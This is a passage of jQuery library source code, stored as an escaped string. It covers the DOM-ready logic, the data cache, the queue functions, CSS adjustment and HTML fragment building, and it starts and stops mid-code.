) ) {\n\t\t\t\t\tresolveValues[ i ].promise()\n\t\t\t\t\t\t.progress( updateFunc( i, progressContexts, progressValues ) )\n\t\t\t\t\t\t.done( updateFunc( i, resolveContexts, resolveValues ) )\n\t\t\t\t\t\t.fail( deferred.reject );\n\t\t\t\t} else {\n\t\t\t\t\t--remaining;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// If we're not waiting on anything, resolve the master\n\t\tif ( !remaining ) {\n\t\t\tdeferred.resolveWith( resolveContexts, resolveValues );\n\t\t}\n\n\t\treturn deferred.promise();\n\t}\n} );\n\n\n// The deferred used on DOM ready\nvar readyList;\n\njQuery.fn.ready = function( fn ) {\n\n\t// Add the callback\n\tjQuery.ready.promise().done( fn );\n\n\treturn this;\n};\n\njQuery.extend( {\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Hold (or release) the ready event\n\tholdReady: function( hold ) {\n\t\tif ( hold ) {\n\t\t\tjQuery.readyWait++;\n\t\t} else {\n\t\t\tjQuery.ready( true );\n\t\t}\n\t},\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\n\t\t// Abort if there are pending holds or we're already ready\n\t\tif ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Remember that the DOM is ready\n\t\tjQuery.isReady = true;\n\n\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If there are functions bound, to execute\n\t\treadyList.resolveWith( document, [ jQuery ] );\n\n\t\t// Trigger any bound ready events\n\t\tif ( jQuery.fn.triggerHandler ) {\n\t\t\tjQuery( document ).triggerHandler( \"ready\" );\n\t\t\tjQuery( document ).off( \"ready\" );\n\t\t}\n\t}\n} );\n\n/**\n * The ready event handler and self cleanup method\n */\nfunction completed() {\n\tdocument.removeEventListener( \"DOMContentLoaded\", completed );\n\twindow.removeEventListener( \"load\", completed );\n\tjQuery.ready();\n}\n\njQuery.ready.promise = function( obj ) {\n\tif ( !readyList ) {\n\n\t\treadyList = jQuery.Deferred();\n\n\t\t// Catch cases where $(document).ready() is called\n\t\t// after the browser event has already occurred.\n\t\t// Support: IE9-10 only\n\t\t// Older IE sometimes signals \"interactive\" too soon\n\t\tif ( document.readyState === \"complete\" ||\n\t\t\t( document.readyState !== \"loading\" && !document.documentElement.doScroll ) ) {\n\n\t\t\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\t\t\twindow.setTimeout( jQuery.ready );\n\n\t\t} else {\n\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", completed );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", completed );\n\t\t}\n\t}\n\treturn readyList.promise( obj );\n};\n\n// Kick off the DOM ready check even if the user does not\njQuery.ready.promise();\n\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\nvar access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n\tvar i = 0,\n\t\tlen = elems.length,\n\t\tbulk = key == null;\n\n\t// Sets many values\n\tif ( jQuery.type( key ) === \"object\" ) {\n\t\tchainable = true;\n\t\tfor ( i in key ) {\n\t\t\taccess( elems, fn, i, key[ i ], true, emptyGet, raw );\n\t\t}\n\n\t// Sets one value\n\t} else if ( value !== undefined ) {\n\t\tchainable = true;\n\n\t\tif ( !jQuery.isFunction( value ) ) {\n\t\t\traw = true;\n\t\t}\n\n\t\tif ( bulk ) {\n\n\t\t\t// Bulk operations run against the entire set\n\t\t\tif ( raw ) {\n\t\t\t\tfn.call( elems, value );\n\t\t\t\tfn = null;\n\n\t\t\t// ...except when executing function values\n\t\t\t} else {\n\t\t\t\tbulk = fn;\n\t\t\t\tfn = function( elem, key, value ) {\n\t\t\t\t\treturn bulk.call( jQuery( elem ), value );\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\tfn(\n\t\t\t\t\telems[ i ], key, raw ?\n\t\t\t\t\tvalue :\n\t\t\t\t\tvalue.call( elems[ i ], i, fn( elems[ i ], key ) )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn chainable ?\n\t\telems :\n\n\t\t// Gets\n\t\tbulk ?\n\t\t\tfn.call( elems ) :\n\t\t\tlen ? fn( elems[ 0 ], key ) : emptyGet;\n};\nvar acceptData = function( owner ) {\n\n\t// Accepts only:\n\t//  - Node\n\t//    - Node.ELEMENT_NODE\n\t//    - Node.DOCUMENT_NODE\n\t//  - Object\n\t//    - Any\n\t/* jshint -W018 */\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\n\n\n\nfunction Data() {\n\tthis.expando = jQuery.expando + Data.uid++;\n}\n\nData.uid = 1;\n\nData.prototype = {\n\n\tregister: function( owner, initial ) {\n\t\tvar value = initial || {};\n\n\t\t// If it is a node unlikely to be stringify-ed or looped over\n\t\t// use plain assignment\n\t\tif ( owner.nodeType ) {\n\t\t\towner[ this.expando ] = value;\n\n\t\t// Otherwise secure it in a non-enumerable, non-writable property\n\t\t// configurability must be true to allow the property to be\n\t\t// deleted with the delete operator\n\t\t} else {\n\t\t\tObject.defineProperty( owner, this.expando, {\n\t\t\t\tvalue: value,\n\t\t\t\twritable: true,\n\t\t\t\tconfigurable: true\n\t\t\t} );\n\t\t}\n\t\treturn owner[ this.expando ];\n\t},\n\tcache: function( owner ) {\n\n\t\t// We can accept data for non-element nodes in modern browsers,\n\t\t// but we should not, see #8335.\n\t\t// Always return an empty object.\n\t\tif ( !acceptData( owner ) ) {\n\t\t\treturn {};\n\t\t}\n\n\t\t// Check if the owner object already has a cache\n\t\tvar value = owner[ this.expando ];\n\n\t\t// If not, create one\n\t\tif ( !value ) {\n\t\t\tvalue = {};\n\n\t\t\t// We can accept data for non-element nodes in modern browsers,\n\t\t\t// but we should not, see #8335.\n\t\t\t// Always return an empty object.\n\t\t\tif ( acceptData( owner ) ) {\n\n\t\t\t\t// If it is a node unlikely to be stringify-ed or looped over\n\t\t\t\t// use plain assignment\n\t\t\t\tif ( owner.nodeType ) {\n\t\t\t\t\towner[ this.expando ] = value;\n\n\t\t\t\t// Otherwise secure it in a non-enumerable property\n\t\t\t\t// configurable must be true to allow the property to be\n\t\t\t\t// deleted when data is removed\n\t\t\t\t} else {\n\t\t\t\t\tObject.defineProperty( owner, this.expando, {\n\t\t\t\t\t\tvalue: value,\n\t\t\t\t\t\tconfigurable: true\n\t\t\t\t\t} );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn value;\n\t},\n\tset: function( owner, data, value ) {\n\t\tvar prop,\n\t\t\tcache = this.cache( owner );\n\n\t\t// Handle: [ owner, key, value ] args\n\t\tif ( typeof data === \"string\" ) {\n\t\t\tcache[ data ] = value;\n\n\t\t// Handle: [ owner, { properties } ] args\n\t\t} else {\n\n\t\t\t// Copy the properties one-by-one to the cache object\n\t\t\tfor ( prop in data ) {\n\t\t\t\tcache[ prop ] = data[ prop ];\n\t\t\t}\n\t\t}\n\t\treturn cache;\n\t},\n\tget: function( owner, key ) {\n\t\treturn key === undefined ?\n\t\t\tthis.cache( owner ) :\n\t\t\towner[ this.expando ] && owner[ this.expando ][ key ];\n\t},\n\taccess: function( owner, key, value ) {\n\t\tvar stored;\n\n\t\t// In cases where either:\n\t\t//\n\t\t//   1. No key was specified\n\t\t//   2. A string key was specified, but no value provided\n\t\t//\n\t\t// Take the \"read\" path and allow the get method to determine\n\t\t// which value to return, respectively either:\n\t\t//\n\t\t//   1. The entire cache object\n\t\t//   2. The data stored at the key\n\t\t//\n\t\tif ( key === undefined ||\n\t\t\t\t( ( key && typeof key === \"string\" ) && value === undefined ) ) {\n\n\t\t\tstored = this.get( owner, key );\n\n\t\t\treturn stored !== undefined ?\n\t\t\t\tstored : this.get( owner, jQuery.camelCase( key ) );\n\t\t}\n\n\t\t// When the key is not a string, or both a key and value\n\t\t// are specified, set or extend (existing objects) with either:\n\t\t//\n\t\t//   1. An object of properties\n\t\t//   2. A key and value\n\t\t//\n\t\tthis.set( owner, key, value );\n\n\t\t// Since the \"set\" path can have two possible entry points\n\t\t// return the expected data based on which path was taken[*]\n\t\treturn value !== undefined ? value : key;\n\t},\n\tremove: function( owner, key ) {\n\t\tvar i, name, camel,\n\t\t\tcache = owner[ this.expando ];\n\n\t\tif ( cache === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( key === undefined ) {\n\t\t\tthis.register( owner );\n\n\t\t} else {\n\n\t\t\t// Support array or space separated string of keys\n\t\t\tif ( jQuery.isArray( key ) ) {\n\n\t\t\t\t// If \"name\" is an array of keys...\n\t\t\t\t// When data is initially created, via (\"key\", \"val\") signature,\n\t\t\t\t// keys will be converted to camelCase.\n\t\t\t\t// Since there is no way to tell _how_ a key was added, remove\n\t\t\t\t// both plain key and camelCase key. #12786\n\t\t\t\t// This will only penalize the array argument path.\n\t\t\t\tname = key.concat( key.map( jQuery.camelCase ) );\n\t\t\t} else {\n\t\t\t\tcamel = jQuery.camelCase( key );\n\n\t\t\t\t// Try the string as a key before any manipulation\n\t\t\t\tif ( key in cache ) {\n\t\t\t\t\tname = [ key, camel ];\n\t\t\t\t} else {\n\n\t\t\t\t\t// If a key with the spaces exists, use it.\n\t\t\t\t\t// Otherwise, create an array by matching non-whitespace\n\t\t\t\t\tname = camel;\n\t\t\t\t\tname = name in cache ?\n\t\t\t\t\t\t[ name ] : ( name.match( rnotwhite ) || [] );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ti = name.length;\n\n\t\t\twhile ( i-- ) {\n\t\t\t\tdelete cache[ name[ i ] ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if there's no more data\n\t\tif ( key === undefined || jQuery.isEmptyObject( cache ) ) {\n\n\t\t\t// Support: Chrome <= 35-45+\n\t\t\t// Webkit & Blink performance suffers when deleting properties\n\t\t\t// from DOM nodes, so set to undefined instead\n\t\t\t// https://code.google.com/p/chromium/issues/detail?id=378607\n\t\t\tif ( owner.nodeType ) {\n\t\t\t\towner[ this.expando ] = undefined;\n\t\t\t} else {\n\t\t\t\tdelete owner[ this.expando ];\n\t\t\t}\n\t\t}\n\t},\n\thasData: function( owner ) {\n\t\tvar cache = owner[ this.expando ];\n\t\treturn cache !== undefined && !jQuery.isEmptyObject( cache );\n\t}\n};\nvar dataPriv = new Data();\n\nvar dataUser = new Data();\n\n\n\n//\tImplementation Summary\n//\n//\t1. Enforce API surface and semantic compatibility with 1.9.x branch\n//\t2. Improve the module's maintainability by reducing the storage\n//\t\tpaths to a single mechanism.\n//\t3. Use the same single mechanism to support \"private\" and \"user\" data.\n//\t4. _Never_ expose \"private\" data to user code (TODO: Drop _data, _removeData)\n//\t5. Avoid exposing implementation details on user objects (eg. expando properties)\n//\t6. Provide a clear path for implementation upgrade to WeakMap in 2014\n\nvar rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n\trmultiDash = /[A-Z]/g;\n\nfunction dataAttr( elem, key, data ) {\n\tvar name;\n\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\t\tname = \"data-\" + key.replace( rmultiDash, \"-$&\" ).toLowerCase();\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = data === \"true\" ? true :\n\t\t\t\t\tdata === \"false\" ? false :\n\t\t\t\t\tdata === \"null\" ? null :\n\n\t\t\t\t\t// Only convert to a number if it doesn't change the string\n\t\t\t\t\t+data + \"\" === data ? +data :\n\t\t\t\t\trbrace.test( data ) ? jQuery.parseJSON( data ) :\n\t\t\t\t\tdata;\n\t\t\t} catch ( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tdataUser.set( elem, key, data );\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\treturn data;\n}\n\njQuery.extend( {\n\thasData: function( elem ) {\n\t\treturn dataUser.hasData( elem ) || dataPriv.hasData( elem );\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\treturn dataUser.access( elem, name, data );\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tdataUser.remove( elem, name );\n\t},\n\n\t// TODO: Now that all calls to _data and _removeData have been replaced\n\t// with direct calls to dataPriv methods, these can be deprecated.\n\t_data: function( elem, name, data ) {\n\t\treturn dataPriv.access( elem, name, data );\n\t},\n\n\t_removeData: function( elem, name ) {\n\t\tdataPriv.remove( elem, name );\n\t}\n} );\n\njQuery.fn.extend( {\n\tdata: function( key, value ) {\n\t\tvar i, name, data,\n\t\t\telem = this[ 0 ],\n\t\t\tattrs = elem && elem.attributes;\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = dataUser.get( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !dataPriv.get( elem, \"hasDataAttrs\" ) ) {\n\t\t\t\t\ti = attrs.length;\n\t\t\t\t\twhile ( i-- ) {\n\n\t\t\t\t\t\t// Support: IE11+\n\t\t\t\t\t\t// The attrs elements can be null (#14894)\n\t\t\t\t\t\tif ( attrs[ i ] ) {\n\t\t\t\t\t\t\tname = attrs[ i ].name;\n\t\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\t\tname = jQuery.camelCase( name.slice( 5 ) );\n\t\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdataPriv.set( elem, \"hasDataAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tdataUser.set( this, key );\n\t\t\t} );\n\t\t}\n\n\t\treturn access( this, function( value ) {\n\t\t\tvar data, camelKey;\n\n\t\t\t// The calling jQuery object (element matches) is not empty\n\t\t\t// (and therefore has an element appears at this[ 0 ]) and the\n\t\t\t// `value` parameter was not undefined. An empty jQuery object\n\t\t\t// will result in `undefined` for elem = this[ 0 ] which will\n\t\t\t// throw an exception if an attempt to read a data cache is made.\n\t\t\tif ( elem && value === undefined ) {\n\n\t\t\t\t// Attempt to get data from the cache\n\t\t\t\t// with the key as-is\n\t\t\t\tdata = dataUser.get( elem, key ) ||\n\n\t\t\t\t\t// Try to find dashed key if it exists (gh-2779)\n\t\t\t\t\t// This is for 2.2.x only\n\t\t\t\t\tdataUser.get( elem, key.replace( rmultiDash, \"-$&\" ).toLowerCase() );\n\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\tcamelKey = jQuery.camelCase( key );\n\n\t\t\t\t// Attempt to get data from the cache\n\t\t\t\t// with the key camelized\n\t\t\t\tdata = dataUser.get( elem, camelKey );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// Attempt to \"discover\" the data in\n\t\t\t\t// HTML5 custom data-* attrs\n\t\t\t\tdata = dataAttr( elem, camelKey, undefined );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// We tried really hard, but the data doesn't exist.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Set the data...\n\t\t\tcamelKey = jQuery.camelCase( key );\n\t\t\tthis.each( function() {\n\n\t\t\t\t// First, attempt to store a copy or reference of any\n\t\t\t\t// data that might've been store with a camelCased key.\n\t\t\t\tvar data = dataUser.get( this, camelKey );\n\n\t\t\t\t// For HTML5 data-* attribute interop, we have to\n\t\t\t\t// store property names with dashes in a camelCase form.\n\t\t\t\t// This might not apply to all properties...*\n\t\t\t\tdataUser.set( this, camelKey, value );\n\n\t\t\t\t// *... In the case of properties that might _actually_\n\t\t\t\t// have dashes, we need to also store a copy of that\n\t\t\t\t// unchanged property.\n\t\t\t\tif ( key.indexOf( \"-\" ) > -1 && data !== undefined ) {\n\t\t\t\t\tdataUser.set( this, key, value );\n\t\t\t\t}\n\t\t\t} );\n\t\t}, null, value, arguments.length > 1, null, true );\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each( function() {\n\t\t\tdataUser.remove( this, key );\n\t\t} );\n\t}\n} );\n\n\njQuery.extend( {\n\tqueue: function( elem, type, data ) {\n\t\tvar queue;\n\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tqueue = dataPriv.get( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !queue || jQuery.isArray( data ) ) {\n\t\t\t\t\tqueue = dataPriv.access( elem, type, jQuery.makeArray( data ) );\n\t\t\t\t} else {\n\t\t\t\t\tqueue.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn queue || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tstartLength = queue.length,\n\t\t\tfn = queue.shift(),\n\t\t\thooks = jQuery._queueHooks( elem, type ),\n\t\t\tnext = function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t\tstartLength--;\n\t\t}\n\n\t\tif ( fn ) {\n\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\t// Clear up the last queue stop function\n\t\t\tdelete hooks.stop;\n\t\t\tfn.call( elem, next, hooks );\n\t\t}\n\n\t\tif ( !startLength && hooks ) {\n\t\t\thooks.empty.fire();\n\t\t}\n\t},\n\n\t// Not public - generate a queueHooks object, or return the current one\n\t_queueHooks: function( elem, type ) {\n\t\tvar key = type + \"queueHooks\";\n\t\treturn dataPriv.get( elem, key ) || dataPriv.access( elem, key, {\n\t\t\tempty: jQuery.Callbacks( \"once memory\" ).add( function() {\n\t\t\t\tdataPriv.remove( elem, [ type + \"queue\", key ] );\n\t\t\t} )\n\t\t} );\n\t}\n} );\n\njQuery.fn.extend( {\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[ 0 ], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each( function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\t// Ensure a hooks for this queue\n\t\t\t\tjQuery._queueHooks( this, type );\n\n\t\t\t\tif ( type === \"fx\" && queue[ 0 ] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t} );\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t} );\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, obj ) {\n\t\tvar tmp,\n\t\t\tcount = 1,\n\t\t\tdefer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = this.length,\n\t\t\tresolve = function() {\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t\t}\n\t\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobj = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\n\t\twhile ( i-- ) {\n\t\t\ttmp = dataPriv.get( elements[ i ], type + \"queueHooks\" );\n\t\t\tif ( tmp && tmp.empty ) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.empty.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( obj );\n\t}\n} );\nvar pnum = ( /[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/ ).source;\n\nvar rcssNum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" );\n\n\nvar cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\nvar isHidden = function( elem, el ) {\n\n\t\t// isHidden might be called from jQuery#filter function;\n\t\t// in that case, element will be second argument\n\t\telem = el || elem;\n\t\treturn jQuery.css( elem, \"display\" ) === \"none\" ||\n\t\t\t!jQuery.contains( elem.ownerDocument, elem );\n\t};\n\n\n\nfunction adjustCSS( elem, prop, valueParts, tween ) {\n\tvar adjusted,\n\t\tscale = 1,\n\t\tmaxIterations = 20,\n\t\tcurrentValue = tween ?\n\t\t\tfunction() { return tween.cur(); } :\n\t\t\tfunction() { return jQuery.css( elem, prop, \"\" ); },\n\t\tinitial = currentValue(),\n\t\tunit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n\t\t// Starting value computation is required for potential unit mismatches\n\t\tinitialInUnit = ( jQuery.cssNumber[ prop ] || unit !== \"px\" && +initial ) &&\n\t\t\trcssNum.exec( jQuery.css( elem, prop ) );\n\n\tif ( initialInUnit && initialInUnit[ 3 ] !== unit ) {\n\n\t\t// Trust units reported by jQuery.css\n\t\tunit = unit || initialInUnit[ 3 ];\n\n\t\t// Make sure we update the tween properties later on\n\t\tvalueParts = valueParts || [];\n\n\t\t// Iteratively approximate from a nonzero starting point\n\t\tinitialInUnit = +initial || 1;\n\n\t\tdo {\n\n\t\t\t// If previous iteration zeroed out, double until we get *something*.\n\t\t\t// Use string for doubling so we don't accidentally see scale as unchanged below\n\t\t\tscale = scale || \".5\";\n\n\t\t\t// Adjust and apply\n\t\t\tinitialInUnit = initialInUnit / scale;\n\t\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\n\t\t// Update scale, tolerating zero or NaN from tween.cur()\n\t\t// Break the loop if scale is unchanged or perfect, or if we've just had enough.\n\t\t} while (\n\t\t\tscale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations\n\t\t);\n\t}\n\n\tif ( valueParts ) {\n\t\tinitialInUnit = +initialInUnit || +initial || 0;\n\n\t\t// Apply relative offset (+=/-=) if specified\n\t\tadjusted = valueParts[ 1 ] ?\n\t\t\tinitialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :\n\t\t\t+valueParts[ 2 ];\n\t\tif ( tween ) {\n\t\t\ttween.unit = unit;\n\t\t\ttween.start = initialInUnit;\n\t\t\ttween.end = adjusted;\n\t\t}\n\t}\n\treturn adjusted;\n}\nvar rcheckableType = ( /^(?:checkbox|radio)$/i );\n\nvar rtagName = ( /<([\\w:-]+)/ );\n\nvar rscriptType = ( /^$|\\/(?:java|ecma)script/i );\n\n\n\n// We have to close these tags to support XHTML (#13200)\nvar wrapMap = {\n\n\t// Support: IE9\n\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\n\t// XHTML parsers do not magically insert elements in the\n\t// same way that tag soup parsers do. So we cannot shorten\n\t// this by omitting <tbody> or other required elements.\n\tthead: [ 1, \"<table>\", \"</table>\" ],\n\tcol: [ 2, \"<table><colgroup>\", \"</colgroup></table>\" ],\n\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n\t_default: [ 0, \"\", \"\" ]\n};\n\n// Support: IE9\nwrapMap.optgroup = wrapMap.option;\n\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n\nfunction getAll( context, tag ) {\n\n\t// Support: IE9-11+\n\t// Use typeof to avoid zero-argument method invocation on host objects (#15151)\n\tvar ret = typeof context.getElementsByTagName !== \"undefined\" ?\n\t\t\tcontext.getElementsByTagName( tag || \"*\" ) :\n\t\t\ttypeof context.querySelectorAll !== \"undefined\" ?\n\t\t\t\tcontext.querySelectorAll( tag || \"*\" ) :\n\t\t\t[];\n\n\treturn tag === undefined || tag && jQuery.nodeName( context, tag ) ?\n\t\tjQuery.merge( [ context ], ret ) :\n\t\tret;\n}\n\n\n// Mark scripts as having already been evaluated\nfunction setGlobalEval( elems, refElements ) {\n\tvar i = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\tdataPriv.set(\n\t\t\telems[ i ],\n\t\t\t\"globalEval\",\n\t\t\t!refElements || dataPriv.get( refElements[ i ], \"globalEval\" )\n\t\t);\n\t}\n}\n\n\nvar rhtml = /<|&#?\\w+;/;\n\nfunction buildFragment( elems, context, scripts, selection, ignored ) {\n\tvar elem, tmp, tag, wrap, contains, j,\n\t\tfragment = context.createDocumentFragment(),\n\t\tnodes = [],\n\t\ti = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\telem = elems[ i ];\n\n\t\tif ( elem || elem === 0 ) {\n\n\t\t\t// Add nodes directly\n\t\t\tif ( jQuery.type( elem ) === \"object\" ) {\n\n\t\t\t\t// Support: Android<4.1, PhantomJS<2\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n\t\t\t// Convert non-html into a text node\n\t\t\t} else if ( !rhtml.test( elem ) ) {\n\t\t\t\tnodes.push( context.createTextNode( elem ) );\n\n\t\t\t// Convert html into DOM nodes\n\t\t\t} else {\n\t\t\t\ttmp = tmp || fragment.appendChild( context.createElement( \"div\" ) );\n\n\t\t\t\t// Deserialize a standard representation\n\t\t\t\ttag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase();\n\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default;\n\t\t\t\ttmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];\n\n\t\t\t\t// Descend through wrappers to the right content\n\t\t\t\tj = wrap[ 0 ];\n\t\t\t\twhile ( j-- ) {\n\t\t\t\t\ttmp = tmp.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Support: Android<4.1, PhantomJS<2\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, tmp.childNodes );\n\n\t\t\t\t// Remember the top-level container\n\t\t\t\ttmp = fragment.firstChild;\n\n\t\t\t\t// Ensure the created nodes are orphaned (#12392)\n\t\t\t\ttmp.textContent = \"\";\n\t\t\t}\n\t\t}\n\t}\n\n\t// Remove wrapper from fragment\n\tfragment.textContent = \"\";\n\n\ti = 0;\n\twhile ( ( elem = nodes[ i++ ] ) ) {\n\n\t\t// Skip elements already in the context collection (trac-4087)\n\t\tif ( selection && jQuery.inArray( elem, selection ) > -1 ) {\n\t\t\tif ( ignored ) {\n\t\t\t\tignored.push( elem );\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontains = jQuery.contains( elem.ownerDocument, elem );\n\n\t\t// Append to fragment\n\t\ttmp = getAll( fragment.appendChild( elem ), \"script\" );\n\n\t\t// Preserve script evaluation history\n\t\tif ( contains ) {\n\t\t\tsetGlobalEval( tmp );\n\t\t}\n\n\t\t// Capture executables\n\t\tif ( scripts ) {\n\t\t\tj = 0;\n\t\t\twhile ( ( elem = tmp[ j++ ] ) ) {\n\t\t\t\tif ( rscriptType.test( elem.type || \"\" ) ) {\n\t\t\t\t\tscripts.push( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn fragment;\n}\n\n\n( function() {\n\tvar fragment = document.createDocumentFragment(),\n\t\tdiv = fragment.appendChild( document.createElement( \"div\" ) ),\n\t\tinput = document.createElement( \"input\" );\n\n\t// Support: Android 4.0-4.3, Safari<=5.1\n\t// Check state lost if the name is set (#11217)\n\t// Support: Windows Web Apps (WWA)\n\t// `name` and `type` must use .setAttribute for WWA (#14901)\n\tinput.setAttribute( \"type\", \"radio\" );\n\tinput.setAttribute( \"checked\", \"checked\" );\n\tinput.setAttribute( \"name\", \"t\" );\n\n\tdiv.appendChild( input );\n\n\t// Support: Safari<=5.1, Android<4.2\n\t// Older WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Support: IE<=11+\n\t// Make sure textarea (and checkbox) defaultValue is properly cloned\n\tdiv.innerHTML = \"<textarea>x</textarea>\";\n\tsupport.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n} )();\n\n\nvar\n\trkeyEvent = /^key/,\n\trmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,\n\trtypenamespace = /^([^.]*)(?:\\.(.+)|)/;\n\nfunction returnTrue() {\n\treturn true;\n}\n\nfunction returnFalse() {\n\treturn false;\n}\n\n// Support: IE9\n// See #13393 for more info\nfunction safeActiveElement() 